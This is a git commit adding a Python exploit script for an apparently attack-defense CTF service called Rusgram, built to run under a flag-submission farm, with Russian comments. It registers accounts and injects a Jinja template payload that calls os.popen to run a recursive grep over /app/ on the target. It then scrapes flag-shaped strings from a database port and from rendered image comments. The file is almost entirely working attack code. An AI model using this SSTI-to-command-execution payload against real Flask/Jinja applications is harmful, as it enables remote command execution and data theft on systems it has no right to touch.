rand_sploit_rusgram_btw
This commit is contained in:
@@ -0,0 +1,150 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Rusgram — SSTI "flag rake" (distinct from rusgram_sploit.py).
|
||||
|
||||
Отличия от существующего комбинированного сплойта:
|
||||
* основной вектор — ОДИН SSTI-RCE-запрос с широким grep по всему /app/
|
||||
(а не только по /app/files/db/), ловит флаги в любом месте ФС таргета;
|
||||
* добавлен канал сбора флагов из КОММЕНТАРИЕВ к картинкам
|
||||
(specific.html через proxy + прямой database) — существующий сплойт
|
||||
комментарии использует только для энумерации имён, флаги оттуда не берёт;
|
||||
* реализованы точки входа start_sploit(ip, port) и sploit(ip) для фермы.
|
||||
|
||||
S4DFarm-совместим: CLI (argv[1]=IP, argv[2]=PORT), флаги в stdout по одному
|
||||
на строку, жёсткие таймауты, все сетевые вызовы в try/except.
|
||||
|
||||
Запуск:
|
||||
./start_sploit.py rusgram_ssti_flagrake.py
|
||||
# или напрямую:
|
||||
python3 rusgram_ssti_flagrake.py <IP> [PROXY_PORT]
|
||||
"""
|
||||
import sys
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
import requests
|
||||
|
||||
FLAG_RX = re.compile(r"[A-Z0-9]{31}=")
|
||||
TIMEOUT = 5
|
||||
|
||||
PROXY_PORT = 38000
|
||||
DB_PORT = 38002
|
||||
|
||||
|
||||
def _rnd(n=8):
|
||||
return "".join(random.choices(string.ascii_lowercase, k=n))
|
||||
|
||||
|
||||
def _log(msg):
|
||||
print(f"[*] {msg}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Вектор A: SSTI -> RCE. Имя юзера с суффиксом .html рендерится content'ом как
|
||||
# Jinja-шаблон (content.route -> render_template(path)). Кладём payload в поле
|
||||
# юзера ДО первого рендера, затем один grep по всему /app/.
|
||||
# --------------------------------------------------------------------------
|
||||
def _v_ssti(base, flags):
|
||||
user, pwd = f"{_rnd()}.html", _rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register",
|
||||
json={"login": user, "password": pwd}, timeout=TIMEOUT)
|
||||
# grep рекурсивно сам обходит ФС: имена жертв знать не нужно.
|
||||
# -h убирает имена файлов, 2>/dev/null глушит ошибки доступа.
|
||||
payload = ("{{ lipsum.__globals__.os.popen('grep -rhoE "
|
||||
"\"[A-Z0-9]{31}=\" /app/ 2>/dev/null').read() }}")
|
||||
requests.post(f"{base}/api/update_personal",
|
||||
json={"first_name": payload, "second_name": "x", "email": "x"},
|
||||
cookies={"session": f"{user}||{pwd}"}, timeout=TIMEOUT)
|
||||
r = requests.get(f"{base}/db/users/{user}", timeout=TIMEOUT)
|
||||
found = set(FLAG_RX.findall(r.text))
|
||||
flags |= found
|
||||
_log(f"A (SSTI grep) : {len(found)} flags")
|
||||
except requests.RequestException as e:
|
||||
_log(f"A failed: {e}")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Вектор B: прямой database на 38002 — читаем и user-поля, и КОММЕНТАРИИ картинок.
|
||||
# --------------------------------------------------------------------------
|
||||
def _v_db_comments(ip, flags):
|
||||
d = f"http://{ip}:{DB_PORT}"
|
||||
found = set()
|
||||
for i in range(1, 17):
|
||||
try:
|
||||
r = requests.get(f"{d}/images/{i}", timeout=TIMEOUT)
|
||||
found |= set(FLAG_RX.findall(r.text))
|
||||
except requests.RequestException:
|
||||
break
|
||||
flags |= found
|
||||
if found:
|
||||
_log(f"B (db imgs) : {len(found)} flags")
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Вектор C: specific.html через proxy рендерит комментарии картинок.
|
||||
# Работает, даже если 38002 закрыт фаерволом (ходим только на 38000).
|
||||
# Требуется валидная сессия -> регистрируем свой аккаунт.
|
||||
# --------------------------------------------------------------------------
|
||||
def _v_proxy_comments(base, flags):
|
||||
actor, pwd = _rnd(10), _rnd()
|
||||
try:
|
||||
requests.post(f"{base}/api/register",
|
||||
json={"login": actor, "password": pwd}, timeout=TIMEOUT)
|
||||
except requests.RequestException:
|
||||
return
|
||||
found = set()
|
||||
cookies = {"session": f"{actor}||{pwd}"}
|
||||
for i in range(1, 17):
|
||||
try:
|
||||
r = requests.get(f"{base}/specific.html?img={i}",
|
||||
cookies=cookies, timeout=TIMEOUT)
|
||||
found |= set(FLAG_RX.findall(r.text))
|
||||
except requests.RequestException:
|
||||
pass
|
||||
flags |= found
|
||||
if found:
|
||||
_log(f"C (proxy cmt) : {len(found)} flags")
|
||||
|
||||
|
||||
def exploit(target_ip, port=None):
|
||||
proxy_port = int(port) if port else PROXY_PORT
|
||||
base = f"http://{target_ip}:{proxy_port}"
|
||||
flags = set()
|
||||
|
||||
_v_ssti(base, flags) # самый широкий вектор — первым
|
||||
_v_db_comments(target_ip, flags)
|
||||
_v_proxy_comments(base, flags)
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
# --- Точки входа для S4DFarm ------------------------------------------------
|
||||
def start_sploit(ip, port=None):
|
||||
return exploit(ip, port)
|
||||
|
||||
|
||||
def sploit(ip, port=None):
|
||||
return exploit(ip, port)
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <target_ip> [port]", file=sys.stderr, flush=True)
|
||||
sys.exit(1)
|
||||
|
||||
target_ip = sys.argv[1]
|
||||
port = sys.argv[2] if len(sys.argv) > 2 else None
|
||||
|
||||
try:
|
||||
found_flags = exploit(target_ip, port) or []
|
||||
for flag in found_flags:
|
||||
clean_flag = str(flag).strip()
|
||||
if FLAG_RX.fullmatch(clean_flag):
|
||||
print(clean_flag, flush=True)
|
||||
except Exception as e:
|
||||
print(f"[-] Exploit error for {target_ip}: {e}", file=sys.stderr, flush=True)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user